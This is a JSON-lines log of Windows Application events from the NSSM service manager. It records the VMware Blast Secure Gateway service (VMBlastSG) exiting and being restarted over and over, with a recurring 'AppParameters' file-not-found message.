{"@timestamp":1646662291933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152904","152904","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156087}}
{"@timestamp":1646662291948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156088}}
{"@timestamp":1646662291949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156089}}
{"@timestamp":1646662291950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156090}}
{"@timestamp":1646662291950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156091}}
{"@timestamp":1646662420645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156092}}
{"@timestamp":1646662420645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156093}}
{"@timestamp":1646662420646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147680","0"]}}},"module":"Application","provider":"nssm","sequence":156094}}
{"@timestamp":1646662420646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147680","147680","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156095}}
{"@timestamp":1646662420665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156096}}
{"@timestamp":1646662420666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156097}}
{"@timestamp":1646662420666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156098}}
{"@timestamp":1646662420667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156099}}
{"@timestamp":1646662549151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156100}}
{"@timestamp":1646662549152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156101}}
{"@timestamp":1646662549152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152624","0"]}}},"module":"Application","provider":"nssm","sequence":156102}}
{"@timestamp":1646662549153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152624","152624","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156103}}
{"@timestamp":1646662549169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156104}}
{"@timestamp":1646662549169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156105}}
{"@timestamp":1646662549170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156106}}
{"@timestamp":1646662549171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156107}}
{"@timestamp":1646662677672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156108}}
{"@timestamp":1646662677675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156109}}
{"@timestamp":1646662677675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152940","0"]}}},"module":"Application","provider":"nssm","sequence":156110}}
{"@timestamp":1646662677676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152940","152940","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156111}}
{"@timestamp":1646662677696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156112}}
{"@timestamp":1646662677697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156113}}
{"@timestamp":1646662677697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156114}}
{"@timestamp":1646662677698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156115}}
{"@timestamp":1646662806197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156116}}
{"@timestamp":1646662806197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156117}}
{"@timestamp":1646662806198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152780","0"]}}},"module":"Application","provider":"nssm","sequence":156118}}
{"@timestamp":1646662806199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152780","152780","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156119}}
{"@timestamp":1646662806216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156120}}
{"@timestamp":1646662806217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156121}}
{"@timestamp":1646662806218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156122}}
{"@timestamp":1646662806218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156123}}
{"@timestamp":1646662935175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156124}}
{"@timestamp":1646662935175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156125}}
{"@timestamp":1646662935176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147192","0"]}}},"module":"Application","provider":"nssm","sequence":156126}}
{"@timestamp":1646662935176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147192","147192","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156127}}
{"@timestamp":1646662935193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153324","0"]}}},"module":"Application","provider":"nssm","sequence":156128}}
{"@timestamp":1646662935193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153324","147192","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156129}}
{"@timestamp":1646662935207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156130}}
{"@timestamp":1646662935207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156131}}
{"@timestamp":1646662935208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156132}}
{"@timestamp":1646662935208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156133}}
{"@timestamp":1646663063705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156134}}
{"@timestamp":1646663063706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156135}}
{"@timestamp":1646663063707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151196","0"]}}},"module":"Application","provider":"nssm","sequence":156136}}
{"@timestamp":1646663063707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151196","151196","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156137}}
{"@timestamp":1646663063726,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156138}}
{"@timestamp":1646663063727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156139}}
{"@timestamp":1646663063727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156140}}
{"@timestamp":1646663063728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156141}}
{"@timestamp":1646663192238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156142}}
{"@timestamp":1646663192239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156143}}
{"@timestamp":1646663192239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153444","0"]}}},"module":"Application","provider":"nssm","sequence":156144}}
{"@timestamp":1646663192240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153444","153444","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156145}}
{"@timestamp":1646663192255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156146}}
{"@timestamp":1646663192256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156147}}
{"@timestamp":1646663192256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156148}}
{"@timestamp":1646663192257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156149}}
{"@timestamp":1646663320872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156150}}
{"@timestamp":1646663320873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156151}}
{"@timestamp":1646663320873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152616","0"]}}},"module":"Application","provider":"nssm","sequence":156152}}
{"@timestamp":1646663320874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152616","152616","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156153}}
{"@timestamp":1646663320895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156154}}
{"@timestamp":1646663320896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156155}}
{"@timestamp":1646663320897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156156}}
{"@timestamp":1646663320898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156157}}
{"@timestamp":1646663449373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156158}}
{"@timestamp":1646663449374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156159}}
{"@timestamp":1646663449375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152656","0"]}}},"module":"Application","provider":"nssm","sequence":156160}}
{"@timestamp":1646663449376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152656","152656","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156161}}
{"@timestamp":1646663449398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156162}}
{"@timestamp":1646663449399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156163}}
{"@timestamp":1646663449399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156164}}
{"@timestamp":1646663449400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156165}}
{"@timestamp":1646663577891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156166}}
{"@timestamp":1646663577892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156167}}
{"@timestamp":1646663577892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153212","0"]}}},"module":"Application","provider":"nssm","sequence":156168}}
{"@timestamp":1646663577893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153212","153212","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156169}}
{"@timestamp":1646663577914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156170}}
{"@timestamp":1646663577915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156171}}
{"@timestamp":1646663577916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156172}}
{"@timestamp":1646663577917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156173}}
{"@timestamp":1646663706469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156174}}
{"@timestamp":1646663706470,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156175}}
{"@timestamp":1646663706470,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152592","0"]}}},"module":"Application","provider":"nssm","sequence":156176}}
{"@timestamp":1646663706471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152592","152592","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156177}}
{"@timestamp":1646663706488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156178}}
{"@timestamp":1646663706489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156179}}
{"@timestamp":1646663706490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156180}}
{"@timestamp":1646663706491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156181}}
{"@timestamp":1646663834988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156182}}
{"@timestamp":1646663834988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156183}}
{"@timestamp":1646663834989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152996","0"]}}},"module":"Application","provider":"nssm","sequence":156184}}
{"@timestamp":1646663834990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152996","152996","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156185}}
{"@timestamp":1646663835008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156186}}
{"@timestamp":1646663835009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156187}}
{"@timestamp":1646663835009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156188}}
{"@timestamp":1646663835010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156189}}
{"@timestamp":1646663963497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156190}}
{"@timestamp":1646663963497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156191}}
